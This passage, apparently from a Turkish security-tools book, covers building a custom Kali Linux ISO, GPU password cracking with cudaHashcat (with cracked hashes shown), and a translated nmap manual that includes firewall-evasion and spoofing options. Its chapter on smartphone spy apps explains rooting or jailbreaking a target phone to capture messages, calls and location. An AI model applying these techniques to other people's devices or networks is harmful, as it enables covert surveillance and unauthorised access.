cat >>binary/isolinux/live.cfg


apt-get install apt-cacher-ng<br />

/etc/init.d/apt-cacher-ng start<br />

export http_proxy=http://localhost:3142/<br />

.... # setup and configure your live build<br />

lb build<br />

Kişiselleştirilmiş Kali Linux yapma<br />

Güncel Kali ISO yaratma<br />

Debian Linux içindeki live-build kullanılarak güncel Kali ISO yaratılabilir. Ama<br />

önce aşğaıdaki paketler yüklenmelidir:<br />

apt-get install git live-build cdebootstrap<br />

Sonra Kali cdimage aşağıdaki gibi kopyalanır:<br />

git clone git://git.kali.org/live-build-config.git<br />

Şimdi aşağıdaki işlemlerle ISO yaratılabilir:<br />

cd live-build-config<br />

lb clean --purge<br />

lb config<br />

lb build<br />

Kali Masaüstünü değiştirme<br />

Varsayılan olarak Kali Gnome masaüstünü kullanır. Ama config/packagelists/kali.list.chroot<br />

dosyasında değişiklik yaparak aşağıdaki masaüstlerinden<br />

biri kulanılabilir.<br />

KDE<br />

Gnome<br />

LXDE<br />

kali-defaults<br />

kali-root-login<br />

desktop-base<br />

kde-plasma-desktop<br />

gnome-core<br />

kali-defaults<br />

kali-root-login<br />

desktop-base<br />

kali-defaults<br />

kali-root-login


XFCE<br />

I3WM<br />

MATE<br />

desktop-base<br />

lxde<br />

kali-defaults<br />

kali-root-login<br />

desktop-base<br />

xfce4<br />

xfce4-places-plugin<br />

# cheers to 0xerror<br />

xorg<br />

dmenu<br />

conky<br />

i3<br />

Yapılacak işlemler aşağıda sıralanmıştır:<br />

echo "deb http://repo.mate-desktop.org/debian wheezy main" >> /etc/apt/sources.list<br />

apt-get update<br />

apt-get install mate-archive-keyring<br />

# apt-get install git live-build cdebootstrap<br />

# git clone git://git.kali.org/live-build-config.git<br />

cd live-build-config<br />

mkdir config/archives<br />

echo "deb http://repo.mate-desktop.org/debian wheezy main" ><br />

config/archives/mate.list.binary<br />

echo "deb http://repo.mate-desktop.org/debian wheezy main" ><br />

config/archives/mate.list.chroot<br />

cp /usr/share/keyrings/mate-archive-keyring.gpg config/archives/mate.key.binary<br />

cp /usr/share/keyrings/mate-archive-keyring.gpg config/archives/mate.key.chroot<br />

echo "sleep 20" >> config/hooks/z_sleep.chroot<br />

# add mate desktop to the packages list:<br />

nano config/package-lists/kali.list.chroot<br />

# after editing, it should look like this:<br />

xorg<br />

mate-archive-keyring<br />

mate-core<br />

mate-desktop-environment<br />

Kali Linux Genel Kullanımı<br />

Kali Linux kaynak kod depoları<br />

/etc/apt/source.list içinde aşağıdaki depolar olmalıdır


deb http://http.kali.org/kali kali main non-free contrib<br />

deb http://security.kali.org/kali-security kali/updates main contrib non-free<br />

Kaynak kod depoları<br />

deb-src http://http.kali.org/kali kali main non-free contrib<br />

deb-src http://security.kali.org/kali-security kali/updates main contrib non-free<br />

Kanayan nokta depoları. Buradakiler otomatik üretilen paketlerdir.<br />

deb http://repo.kali.org/kali kali-bleeding-edge main<br />

#deb-src http://repo.kali.org/kali kali-bleeding-edge main<br />

NVIDIA Sürücüleri kullanma<br />

NVIDIA donanımını ve sürücülerini nasıl kullanılacağı burada anlatılmıştır.<br />

İlk adım sistemi güncellemek ve kernel başlıklarını indirmiş olmaktır.<br />

apt-get update<br />

apt-get dist-upgrade<br />

apt-get install -y linux-headers-$(uname -r)<br />

apt-get install nvidia-kernel-dkms<br />

Sonraki adım nouveau sürücüsünü kapatmaktır. Nouveau NVIDIA için açık<br />

kaynak sürücünün adıdır.<br />

sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub<br />

update-grub<br />

reboot<br />

Sistem yeniden başlatıldığında sürücülerin doğru yüklendiğini görmek için:<br />

root@kali:~# glxinfo | grep -i "direct rendering"<br />

direct rendering: Yes<br />

Aşağıdaki komutu Oclhashcat-plus kullanır:<br />

cd /usr/share/oclhashcat-plus/<br />

./cudaHashcat-plus.bin -t 32 -a 7 example0.hash ?a?a?a?a example.dict<br />

cudaHashcat-plus v0.14 by atom starting...<br />

Hashes: 6494 total, 1 unique salts, 6494 unique digests<br />

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes<br />

Workload: 256 loops, 80 accel<br />

Watchdog: Temperature abort trigger set to 90c<br />

Watchdog: Temperature retain trigger set to 80c<br />

Device #1: GeForce G210M, 511MB, 1468Mhz, 2MCU<br />

Device #2: GeForce 9400M G, 253MB, 1100Mhz, 2MCU<br />

Device #1: Kernel ./kernels/4318/m0000_a1.sm_12.64.ptx<br />

Device #2: Kernel ./kernels/4318/m0000_a1.sm_11.64.ptx


Generated dictionary stats for example.dict: 1210228 bytes, 129988 words, 129988 keyspace<br />

27b797965af03466041487f2a455fe52:mo0000<br />

a48dd0f09abaf64324be83ce86414b5f:ap2300000<br />

7becb9424f38abff581f6f2a82ff436a:sail00<br />

1459ccf0940e63051d5a875a88acfaaf:pigi00<br />

3baa3048651a65d1260eb521ab7c3bc0:ek110<br />

7a7a8220266f71f54f85685969ce999f:davi0123456789<br />

98c627ca129e64dfff3bf08fbaab6c86:fire01man<br />

Yukarıda kartların tanındığı ve şifrelerin yenilendiği görülür.<br />

Sanal kutu misafiri olarak Kali<br />

Sanal Kutu (VirtualBox) altında Kali yüklenecekse VirtualBox 4.2.xx ya da<br />

daha yüksek sürüm kullanılmalıdır. Kali bu ortamda kurulurken yapılacaklar<br />

şöyledir.<br />

Kali VirtualBox altında kurulduktan sonra başlatıldığında terminal penceresi<br />

açılmalı ve aşağıdaki komutla kernel başlıkları yüklenmelidir.<br />

apt-get update && apt-get install -y linux-headers-$(uname -r)<br />

Daha sonra Misafir eklentileri CD'si bağlanabilir. Böylece GuestAdditions iso<br />

sanal CD sürümüne bağlanmış olur. CD deki autorun kullanılması<br />

sorulduğunda “Cancel” düğmesine basılarak iptal edilir. Açılan terminal<br />

penceresinden VboxLinuxAdditions.run programı çalıştırılır.<br />

cp /media/cd-rom/VBoxLinuxAdditions.run /root/<br />

chmod 755 /root/VBoxLinuxAdditions.run<br />

cd /root<br />

./VboxLinuxAdditions.run


Yüklemeleri tamamlamak için VirtualBox Kali yeniden başlatılır.<br />

Kali ve Windows ikili işletim sistemi<br />

Burada yapılacak olan önceden yüklenmiş Windows diskinde ikinci bir disk<br />

alanı açmaktır. Bunu Windows dosya yönetimiyle de yapabilirsiniz. Aşağıda<br />

anlatılan yöntem Linux ortamında işi yapabilme biçimidir.<br />

Öncelikle Kali indirilir ve DVD üzerinde ISO disk yapılır. USB bellek üzerinde<br />

Kali Live yaratılır. Bilgisayarınızda Windows yanında Kali çin en az 8 GB yer<br />

olmalı ve USB/CD Sürücüden başlatma özelliği olmalıdır.<br />

Hazırlıklar tamamlanınca <strong>bilgisayar</strong> USB/CD sürücüden başlayacak konuma<br />

getirilmelidir.<br />

Kali başlatılınca “Live” ortam seçilir. Burada gparted programı çalıştırılır.


Bu program Windows disk alanını sıkıştırıp Kali için yetecek disk alanı açar.<br />

Burada windows alanını seçilir. Bu alan genelde ikinci büyük disk alanıdır.<br />

Windows alanı boyutu düzenlenirken Kali için (en az 8 GB) boş alan açılır.<br />

Alan açma işlemi tamamlanınca, sistem yeniden başlatılır. Bundan sonrası<br />

Kali'nin disk üzerine kurulumu ile aynıdır.<br />

Kurulum bitince <strong>bilgisayar</strong>ı yeniden başlatınca GRUB ekranı çıkar ve hangi<br />

işletim sistemini kullanacağınızı sorar.<br />

Bu konuda başka kurulum bilgileri de vardır. Gerekli ayrıntı<br />

http://docs.kali.org web sitesinden sağlanabilir.


BÖLÜM 8<br />

AKILLI TELEFONLARDA<br />

DİNLEME<br />

Burada akıllı telefonlarda kullanılabilen casus yazılımların en önemlilerinde söz<br />

edilecektir. Aslında doğru ve güvenilir bilgi bulmak çok kolay değildir. Adı casus<br />

yazılım olunca, yazılımın sizin <strong>bilgisayar</strong>ınızda da casusuluk yapmayacağını<br />

bilemezsiniz. Yani “Dimyata pirince giderken evdeki bulgurdan olmak” işten bile<br />

değildir.<br />

Aslında bu yazılımlar hakkında bilinmesi gereken çok şey vardır. Bunlar nasıl<br />

çalışır, nereye ve nasıl yüklenir türündeni ilk bilgilere ek olarak jailbreak ya da root<br />

işlemlerine girilince işler zor ve anlaşılması kolay olmayan konulara dönebilir.<br />

Burada açıklamaya çalışılan konular http://acisni.com/cell-phone-spy-softwarecomplete-guide/<br />

web sitesinde açıklanmıştır. Biz de oradaki anlatıma uygun<br />

bilgiler vermeye çalışacağız. Amacımız en uygun ve kullanışlı yazılımı en güvenilir<br />

kurumdan sağlamak olmalıdır. Çünkü kaç firmalarının paranızı alıp ortalardan<br />

kaybolması çok kolay olabilir. İnceleme yaptıklarını söyleyenler de hiç yükleyip<br />

kullanmamış olabilirler.<br />

Bu yazılımların yalnız yasal amaçlarla kullanımını anlatmaya çalışacağız. Yasa dışı<br />

işler bizden uzaktır. Yasal demekle incelenecek telefon size ait olmalıdır. Ya da<br />

yetişkin birine telefonunda dinleme yapıldığını bildirilmelidir. Yasal kalabilmek<br />

adına sizin dinleyebileceğiniz telefonlar, çocuklarınızın telefonları ya da şirket<br />

telefonları olabilir. Şirket telefonunu kullananı daha önce uyarmanız gerekir.<br />

Telefon casus yazılımları<br />

Bu yazılımlar, hedef telefona yüklendiğinde o telefondan yapılan bir çok<br />

işlemi izleyebilen yazılımlardır. BU yazılımların neler yapabildiklerini<br />

öğrenince ilginiz daha da artabilir. Burada yazılımların neler yapabildikleri<br />

genel anlamda anlatılmaya çalışılacaktır.<br />

Yeniler için StealthGenie, Mobile Spy, mSpy ve Özelliklerin karşılaştırılması<br />

biçiminde anlatılanları Ek-7'den okumaları önerilir.<br />

Yazılımlar genelde SMS mesajlarının izlenmesi, e-posta ve web tarihçesi ile<br />

telefon görüşmeleri listesini izlerler. Ayrıca GPS izleme de yaparlar. Bunlar<br />

en ucuz ödeme planlarında vardır.


Daha ayrıntılı izleme özelliklerini de sağlarlar. Doğal olarak bunlar daha<br />

pahalı ödeme planlarında yer alır. Bunların bazıları telefon görüşmelerini<br />

kaydetmek, WhataApp, Skype ve Viber gibi servisleri izlemek, sosyal medya<br />

kayıtlarının izlenmesi gibi hizmetleri de içermektedir.<br />

İzleme Yazılımları Sizin Telefonunuzda çalışır mı?<br />

Bu yazılımların çalışması için gerekenler herkesin kafasını karıştırır. Ama iki<br />

önemli nokta bulunmalıdır:<br />

iPhone için jailbreak alt yapısı olmalıdır. Yani bu yazılımlar jailbreak olmamış<br />

iPhone üzerine yüklenemez. İlgilenenler bu konuyu What is Jailbreaking ve<br />

How to Jailbreak an iPhone sitelerinden öğrenebilirler.<br />

Android için de root olmak gereklidir. Bazıları root olmak gereksiz derler ama<br />

örneğin WhatsApp izlemek için root gereklidir. Ayrıca Mobile Spy için de root<br />

gereklidir. Yani hedef telefonda bu yazılımlar root olunca yüklenebilir.<br />

Yazılımların telefon gereksinimleri<br />

Bu yazılımlar Internet bağlantısı olan telefonlarda kullanılabilir. Yani akıllı<br />

telefonlarda... Etkin veri akışı olması önemlidir ama Wi-Fi erişimi de kısıtlı<br />

olarak kullanılabilir. Tüm izleme bilgileri web bağlantısından aktarılır. Internet<br />

yoksa izleme de olmaz. Telefon kullanılan yazılımla uyumlu olmalıdır. Bunun<br />

için Phone Compatibility incelenebilir. Ayrıca, belki de en önemlisi, yazılım<br />

hedef telefondaki işletim sisteminde çalışabilmelidir.<br />

Yazılımlar nasıl çalışır?<br />

Casus yazılım hedef telefona yüklenir.<br />

Web bağlantısı üzerinden tüm bu bilgi firmanın sunucularına gönderilir.<br />

Sonra bu bilgileri görüntülemek için kullanıcı adı ve şifreyle sunucu web<br />

sitesine giriş yapılır.<br />

Casus yazılımı uzaktan yüklemek<br />

Web sitesinde bunun olanaksız olduğu anlatılıyor. Yani casus yazılım ancak<br />

telefonda fiziksel bağlantı ile yüklenebilirmiş. Bu konuda SpyzRus.net<br />

sitesindeki belgenin okunması önerilmektedir.<br />

Yukarıdaki açıklamadan, akıllı telefonu hack etme konusunda araştırma<br />

yapmak gerektiği anlaşılmaktadır. Belki hack etme yöntemleriyle uzaktan<br />

telefona erişilebilir. Ya da SpyzRus.net sitesinde belirtildiği gibi uydurma


yazılım alarak kendinizi kandırmış olursunuz. Ben biraz da hacker açısından<br />

olaya bakmak istedim. Ek-8'de Android telefonlarda kullanılan araçları<br />

anlatmaya çalıştım. Bazı araçlar telefonu hack için kullanmaya yararken,<br />

bazı araçlarla bir telefon nasıl hack edilir gibi kavramlar anlatılmıştır.<br />

İlgilenenler burada yazılanlara da bakabilir.<br />

Yazılım Yükleme<br />

Önce uygun yazılım seçilir. Belirtilen adresten yüklemesi yapılır. Ayarlar<br />

yapıldıktan sonra telefon kapatılıp yeniden başlatılır. İşlem bu kadar kolaydır.<br />

Ama yanlış yazılım seçilirse, Internet bağlantısı zayıfsa, izleme başarılı<br />

olamayabilir.<br />

Cep Telefonlarını Hackleme<br />

Bu konuda ayrıntılı bilgi ve kullanılabilecek yazılımlar Ek-8'de açıklanmıştır.<br />

Bu nedenle burada ayrıntıya girilmemiştir.


EK-1<br />

NMAP KULLANICI KİTABI<br />

İÇİNDEKİLER<br />

Açıklama<br />

Seçenekler (özet)<br />

Hedef tanımları<br />

Sunucu Belirleme<br />

Yerel kapı tarama<br />

Kapı tarama teknikleri<br />

Kapı tanımları ve tarama sırası<br />

Servis ve sürüm belirleme<br />

İşletim Sistemi belirleme<br />

Nmap komut makinesi (NSE)<br />

Zamanlama ve verim<br />

Güvenlik kalkanı/IDS kaçamakları ve gizlenme (spoofing)<br />

Çıktılar<br />

Diğer Seçenekler<br />

Çalışırken araya girme<br />

Örnekler


Açıklama<br />

Nmap (Network Mapper) ağları incelemek ve güvenlik sistemini denetlemek<br />

için hazırlanmış bir açık kaynak araçtır. Büyük ağları hızla taramak için<br />

tasarlanmıştır. Aslında tek sunucu için de doğru düzgün çalışabilir ama ham<br />

IP paketleri kullanarak ağda hangi sürücüler var, hangi servisler (uygulama<br />

adı ve sürümüyle) var bulabilir. Hangi işletim sistemlerinin kullanıldığı, nasıl<br />

bir güvenlik kalkanı kurulduğu bu programın genel özellikleri arasındadır.<br />

Birçok ağ ve sistem yöneticisi, ağda bulunan sunucular, yazılım sürümü gibi<br />

konularda nmap kullanmaktadır.<br />

Örnek bir nmap çıktısı:<br />

# nmap -A -T4 scanme.nmap.org<br />

Nmap scan report for scanme.nmap.org (74.207.244.221)<br />

Host is up (0.029s latency).<br />

rDNS record for 74.207.244.221: li86-221.members.linode.com<br />

Not shown: 995 closed ports<br />

PORT STATE SERVICE VERSION<br />

22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)<br />

| ssh-hostkey: 1024 8d:60:f1:7c:ca:b7:3d:0a:d6:67:54:9d:69:d9:b9:dd (DSA)<br />

|_2048 79:f8:09:ac:d4:e2:32:42:10:49:d3:bd:20:82:85:ec (RSA)<br />

80/tcp open http Apache httpd 2.2.14 ((Ubuntu))<br />

|_http-title: Go ahead and ScanMe!<br />

646/tcp filtered ldp<br />

1720/tcp filtered H.323/Q.931<br />

9929/tcp open nping-echo Nping echo<br />

Device type: general purpose<br />

Running: Linux 2.6.X<br />

OS CPE: cpe:/o:linux:linux_kernel:2.6.39<br />

OS details: Linux 2.6.39<br />

Network Distance: 11 hops<br />

Service Info: OS: Linux; CPE: cpe:/o:linux:kernel<br />

TRACEROUTE (using port 53/tcp)<br />

HOP RTT ADDRESS<br />

[Cut first 10 hops for brevity]<br />

11 17.65 ms li86-221.members.linode.com (74.207.244.221)<br />

Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds


Seçenekler (özet olarak)<br />

Eğer nmap parametreler yazılmadan çalıştırılırsa kullanılabilecek parametre<br />

seçenekleri elde edilir.<br />

Nmap 6.26SVN ( http://nmap.org )<br />

Usage: nmap [Scan Type(s)] [Options] {target specification}<br />

Kullanım: nmap [Tarama türleri] [Seçenekler] {hedef özellikleri}<br />

TARGET SPECIFICATION: (HEDEF ÖZELLİKLERİ)<br />

Can pass hostnames, IP addresses, networks, etc.<br />

Sunucu adı, IP adresi, ağlat vb. kullanılabilir<br />

Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254<br />

Örneğin: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254<br />

-iL : Input from list of hosts/networks<br />

giriş olarak sunucu/ağ_maskesi listesi<br />

-iR : Choose random targets<br />

Rastgele hedefler seç<br />

--exclude : Exclude hosts/networks<br />

sunuc/ağ_maskesi ile belrtilenleri dışla<br />

--excludefile : Exclude list from file<br />

dışlanacaklar listesini doyadan al<br />

HOST DISCOVERY:<br />

-sL: List Scan - simply list targets to scan<br />

taranacak hedefleri listele<br />

-sn: Ping Scan - disable port scan<br />

kapı taramasını kapat<br />

-Pn: Treat all hosts as online -- skip host discovery<br />

Sunucu bulmayı atla<br />

-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports<br />

istenen kapılarda buluş yap<br />

-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes<br />

yankı, zaman damgası ve ağ maskesi istekleri için sorgulama bulma<br />

-PO[protocol list]: IP Protocol Ping<br />

IP protokolünde ping<br />

-n/-R: Never do DNS resolution/Always resolve [default: sometimes]<br />

DNS çözümü arama/her zaman ara [varsayılanı: bazen]<br />

--dns-servers : Specify custom DNS servers<br />

DNS sunucularının tanımlanması<br />

--system-dns: Use OS's DNS resolver<br />

İşletim sisteminin DNS çözümlemesini kullan<br />

--traceroute: Trace hop path to each host<br />

Her sunucu için “hop” yolunu tara<br />

SCAN TECHNIQUES: (Tarama Teknikleri)<br />

-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans<br />

TCP SYN/Connect()/ACK/Window/Maimon taramaları yap<br />

-sU: UDP Scan<br />

UDP taraması yap<br />

-sN/sF/sX: TCP Null, FIN, and Xmas scans<br />

TCP Null, FN ve Xmas taraması yap<br />

--scanflags : Customize TCP scan flags<br />

TCP tarama kodlarını ayarla<br />

-sI : Idle scan<br />

Boş taraması yap<br />

-sY/sZ: SCTP INIT/COOKIE-ECHO scans<br />

INIT/COOKIE-ECHO taraması yap


-sO: IP protocol scan<br />

IP protokol taraması yap<br />

-b : FTP bounce scan<br />

FTP sekme taraması yap<br />

PORT SPECIFICATION AND SCAN ORDER: (Kapı tanımı ve tarama sırası)<br />

-p : Only scan specified ports<br />

Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9<br />

Yalnız belirtilen kapıları tara<br />

Örneğin: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9<br />

-F: Fast mode - Scan fewer ports than the default scan<br />

Varsayılan taramadan daha az kapı tara<br />

-r: Scan ports consecutively - don't randomize<br />

Kapıları peş peşe tara rastgele sıralama<br />

--top-ports : Scan most common ports<br />

En çok bilinen kadar kapıyı tara<br />

--port-ratio : Scan ports more common than <br />

En çok bilinen kapılardan ilk kadar olanını tara (ratio = oran)<br />

SERVICE/VERSION DETECTION: (Servis/Sürüm Bulma)<br />

-sV: Probe open ports to determine service/version info<br />

Açık kapıları servis/sürüm bulmak için sorgula<br />

--version-intensity : Set from 0 (light) to 9 (try all probes)<br />

sıfıran (hafif) 9'a (tüm sorguları dene) kadar değişen değer ata<br />

--version-light: Limit to most likely probes (intensity 2)<br />

En uygun sorguyla sınırla (intesity 2)<br />

--version-all: Try every single probe (intensity 9)<br />

Her bir sorguyu dene (intensity 9)<br />

--version-trace: Show detailed version scan activity (for debugging)<br />

Tarama işleminin ayrıntılarını göster<br />

SCRIPT SCAN: (Program tarama)<br />

-sC: equivalent to –script=default<br />

“-script=default” demekle eş değerdir.<br />

--script=: is a comma separated list of<br />

directories, script-files or script-categories<br />

virgüllerle ayrılmış dosya yolları, program dosyaları ya da program sınıfları listesidir.<br />

--script-args=: provide arguments to scripts<br />

Programlara parametre değeri sağlar<br />

--script-args-file=filename: provide NSE script args in a file<br />

NSE program parametre değerlerini dosyadan sağlar<br />

--script-trace: Show all data sent and received<br />

Gönderilen ve alınan tüm verileri göster<br />

--script-updatedb: Update the script database.<br />

Program veri tabanını güncelle<br />

--script-help=: Show help about scripts.<br />

Programlar için yardımı göster.<br />

is a comma separted list of script-files or<br />

script-categories.<br />

virgülle ayrılmış program dosyaları ya da program sınıfları listesidir.<br />

OS DETECTION:<br />

-O: Enable OS detection<br />

işletim sistemi bulmayı aç<br />

--osscan-limit: Limit OS detection to promising targets<br />

Söz verilen hedefler için işletim sistemi bulmayı sınırla<br />

--osscan-guess: Guess OS more aggressively<br />

İşletim Sistemini daha istekli tahmin et


TIMING AND PERFORMANCE:<br />

Options which take are in seconds, or append 'ms' (milliseconds),<br />

's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).<br />

ile belirtilen seçenek saniye türündendir. Ardına “ms” eklenince<br />

mili saniye olur. Dakika için “m”, saat için “h” eklenir.<br />

-T: Set timing template (higher is faster)<br />

zaman şablonunu ayarla (yükseldikçe hızlanır)<br />

--min-hostgroup/max-hostgroup : Parallel host scan group sizes<br />

paralel sunucu tarama grup boyu<br />

--min-parallelism/max-parallelism : Probe parallelization<br />

sorgu paralelleştirilmesi<br />

--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout : Specifies<br />

probe round trip time.<br />

Sorgu dönme zamanını belirtir<br />

--max-retries : Caps number of port scan probe retransmissions.<br />

Kapıya gönderilecek sorgunun yeniden gönderilme aralığı<br />

--host-timeout : Give up on target after this long<br />

Hedeften bu süre dolunca vazgeç<br />

--scan-delay/--max-scan-delay : Adjust delay between probes<br />

Sorgular arasındaki beklemeyi ayarla<br />

--min-rate : Send packets no slower than per second<br />

Paketleri belirtilen saniyeden daha yavaş gönderme<br />

--max-rate : Send packets no faster than per second<br />

Paketleri belirtilen saniyeden hızlı gönderme<br />

FIREWALL/IDS EVASION AND SPOOFING:<br />

-f; --mtu : fragment packets (optionally w/given MTU)<br />

paketleri parçalama (MTU verme seçeneği ile)<br />

-D : Cloak a scan with decoys<br />

tuzaklı taramayı pelerinle gizle<br />

-S : Spoof source address<br />

Kaynak adresini atlat<br />

-e : Use specified interface<br />

Belirtilen arayüzü kullan<br />

-g/--source-port : Use given port number<br />

Belirtilen kapı numarasını kullan<br />

--data-length : Append random data to sent packets<br />

Giden paketlere rastgele veri ekle<br />

--ip-options : Send packets with specified ip options<br />

Paketleri belirtilen IP seçenekleriyle gönder<br />

--ttl : Set IP time-to-live field<br />

IP bırakma zamanını ayarlama alanı<br />

--spoof-mac : Spoof your MAC address<br />

sizin MAC adresinizi atlat<br />

--badsum: Send packets with a bogus TCP/UDP/SCTP checksum<br />

Hatalı toplama denetimi olan paketler gönder<br />

OUTPUT: (ÇIKTI)<br />

-oN/-oX/-oS/-oG : Output scan in normal, XML, s|


--open: Only show open (or possibly open) ports<br />

yalnız açık kapıları göster<br />

--packet-trace: Show all packets sent and received<br />

Alınan ve gönderilen tüm paketleri göster<br />

--iflist: Print host interfaces and routes (for debugging)<br />

sunucu arayüzlerini ve yönlendirmelerini göster<br />

--log-errors: Log errors/warnings to the normal-format output file<br />

normal çıktı dosyasına hata ve uyarıları yazdır<br />

--append-output: Append to rather than clobber specified output files<br />

çıktı dosyasının ardına ekle<br />

--resume : Resume an aborted scan<br />

durmuş, bozulmuş taramayı devam ettir.<br />

--stylesheet : XSL stylesheet to transform XML output to HTML<br />

XML çıktısını HTML'e çevirmek için XSL stil sayfasını tanımlama<br />

--webxml: Reference stylesheet from Nmap.Org for more portable XML<br />

Daha taşınabilir XML yaratmak için stil sayfasını nmap.org'dan sağla<br />

--no-stylesheet: Prevent associating of XSL stylesheet w/XML output<br />

XML çıktıları için XSL kullanımını kaldır.<br />

MISC: (DİĞER)<br />

-6: Enable IPv6 scanning (IPv6 taramasını aç)<br />

-A: Enable OS detection, version detection, script scanning, and traceroute<br />

(İşletim sistemi, sürüm, program taramasını aç ve iletişim yolunu izle)<br />

--datadir : Specify custom Nmap data file location<br />

(değiştirilen nmap dosya yolunu belirle)<br />

--send-eth/--send-ip: Send using raw ethernet frames or IP packets<br />

(IP paketlerini ve ham ethernet parçalarını kullan)<br />

--privileged: Assume that the user is fully privileged<br />

(kullanıcı tümüyle yetkili varsay)<br />

--unprivileged: Assume the user lacks raw socket privileges<br />

(kullanıcı yetkili değil varsay)<br />

-V: Print version number<br />

(sürüm numarasını yazdır)<br />

-h: Print this help summary page.<br />

(Bu yardım özetini yazdır)<br />

EXAMPLES: (ÖRNEKLER)<br />

nmap -v -A scanme.nmap.org<br />

nmap -v -sn 192.168.0.0/16 10.0.0.0/8<br />

nmap -v -iR 10000 -Pn -p 80<br />

DAHA ÇOK SEÇENEK VE ÖRNEK İÇİN (http://nmap.org/book/man.html) ADRESİNE BAKIN.


Hedef tanımları<br />

Komut satırında seçenek olarak gösterilmeyen her şey hedef sunucuyu<br />

tanımlar. En temel olanı taranacak sunucunun adı ya da IP numarasının<br />

yazılmasıdır. Bazı koşullarda ağdaki tüm sunucuların taranması istenebilir.<br />

Bu durumda nmap CIDR türü IP adresi yazılımına olanak verir (/bit_sayısı).<br />

Bu durumda ilk /bit_sayısı kadar sunucu IP adresi eşit olanlar taranır.<br />

En küçük /bit_sayısı /0 olur ki tüm Internet demektir. Ama 192.168.1.2/24<br />

yazıldığında 192.168.1 ile başlayan tüm sunucular taranacak demektir.<br />

Genelde hedef sunucular komut satırında yazılsa da -iL <br />

biçiminde bir tanımla (parametre seçeneğiyle) hedef sunucular dosyadan<br />

alınabilir. Bu dosyada açıklamalar ilk kolonunda # olan satırlarda bulunur.<br />

Internet taramalarında ya da başka tür geniş tarama ortamlarında -iR<br />

komutuyla belirtilen sayıda rastgele seçilmiş sunucular<br />

taranır.<br />

Bazı durumlarda tarama yapılacak sunuculardan istenmeyenler olabilir.<br />

Bunları “-–exclude sunucu-1 sunucu-2 ... sunucu-n” biçiminde yazabiliriz ya<br />

da bu sunucuların IP adreslerini bir dosyaya yazıp “-–excludefile dosya_adı”<br />

biçiminde yazarak kullanabiliriz.<br />

Sunucu Belirleme<br />

Sunucu belirlemede yapılacak ilk iş kocaman bir ağda ilgilenilecek etkin<br />

sunucu sayısını gerekli sayıya indirgemektir. Bir ağdaki sunucuların tüm<br />

kapılarını taramak hem yavaş hem de gereksizdir. Ama burada işin ilginç<br />

yanı tarama amacı olduğunu da unutmamak gerekir. Ağ yöneticisi belirli bir<br />

kapısı kullanan sunucularla ilgilenirken güvenlik yöneticisi tüm ağdaki tüm<br />

IP'lerle ilgilenmek isteyecektir. Bir yönetici için yalnız ICMP ping göndererek<br />

sunucunun çalıştığını öğrenmesi yeterli olabilecektir. Ama dışarından ağa<br />

sızan biri için birçok konunun incelenmesi güvenlik kalkanının durumunun<br />

anlaşılması için önemli olabilir. İsteklerin çok değişik olması göz önünde<br />

bulundurularak nmap seçenekleri de oldukça geniş bir yelpazeyi içerecek<br />

biçimde düzenlenmiştir. Bazen kullanıcı “ping” adımını tümüyle atlayabilir,<br />

bazı koşullarda birçok kapı için TCP SYN/ACK, UDP, SCTP INIT ve ICMP<br />

karışımını kullanabilir.<br />

Aşağıdaki parametre seçenekleri sunucu belirlemede kullanılabilir:<br />

-sL (tarama_listesi)<br />

Taranacak sunucuların listesi bu parametre ile belirtilir. Bu biçimde<br />

tanımlanmış olsa bir nmap ters IP taraması yaparak sunucunun adını<br />

almak ister. Kapı taraması, ping taraması, işletim sistemi saptama gibi<br />

daha yüksek seçenekler bununla beraber kullanılamaz. Bu parametre<br />

taranacak sunucuların listesini verir.


-sn (kapı taraması yok)<br />

Sunucuyu bulduktan sonra kapı taraması yapılmamasını söyler. Burada<br />

amaç fazla ayrıntıya girmeden ağdaki sunucuları bulmaktır. Buna<br />

“ping” taraması da denir. Sistem Yöneticileri bunu kullanışlı bulabilirler.<br />

Amaçları sunucu ve servislerin çalıştığını görmek olduğundan ayrıntıya<br />

girmek gerekmez. -sn seçeneğinde yapılanlar ICMP istek yankısı, 443<br />

nolu kapıya TCP SYN, 80 nolu kapıya TCP ACK vw ICMP zaman<br />

damgasıdır. Yetkisiz biri tarafından çalıştırıldığında yalnız SYN<br />

komutları üretilir. Yetkili biri kullandığında –sendIP seçeneği yoksa<br />

sunucu adı da bu komutla elde edilir. Eski sürümlerde -sn -sP olarak<br />

bilinirdi.<br />

-PS (TCP SYN)<br />

SYN alanı atanmış olan boş bir ping paketi gönderir. Varsayılan kapı<br />

nosu 80 olarak belirlenmiştir. Diğer kapılar da tanımlanabilir. Dil kuralı<br />

-p de olduğu gibidir ama kapı türü için T: tanımlamak gerekmek.<br />

Örneğin -PS22 ve -PS22-25,80,113,1050,35000 gibi yazım yapılabilir.<br />

-PA (TCP ACK)<br />

PS SYN ile aynı biçimde tanımlanır. Buradaki fark SYN yerine ACK<br />

ataması yapılmış ping komutu vardır. Yetkisiz biri kullanırsa “connect”<br />

komutu SYN ataması yapılarak işleme girer ACK kullanılmaz.<br />

-PU (UDP)<br />

Bu komutla kapılara UDP paketleri gönderilir. Pek çok kapı için UDP<br />

komut boş olur ama bazı özel protokoller için UDP komutunda<br />

protokole özel veri de bulunmalıdır. Ayrıntılı bilgi için<br />

http://nmap.org/book/nmap-payloads.html adresine baş vurabilirsiniz.<br />

“--data-legth” seçeneği her kapıya belirtilen uzunlukta rastgele veri<br />

göndermeyi sağlar. “--data-length” 0 seçeneği veri uzunluğunu sildiği<br />

için boş UDP mesajı gönderilmiş olur. Kapı listesi -PS ve _PA<br />

seçeneklerindeki gibidir. Varsayılan kapı numarası 40125 olarak<br />

belirlenmiştir.<br />

Eğer kapı kapalıysa UDP paket port'a erişilemiyor türü ICMP paketi<br />

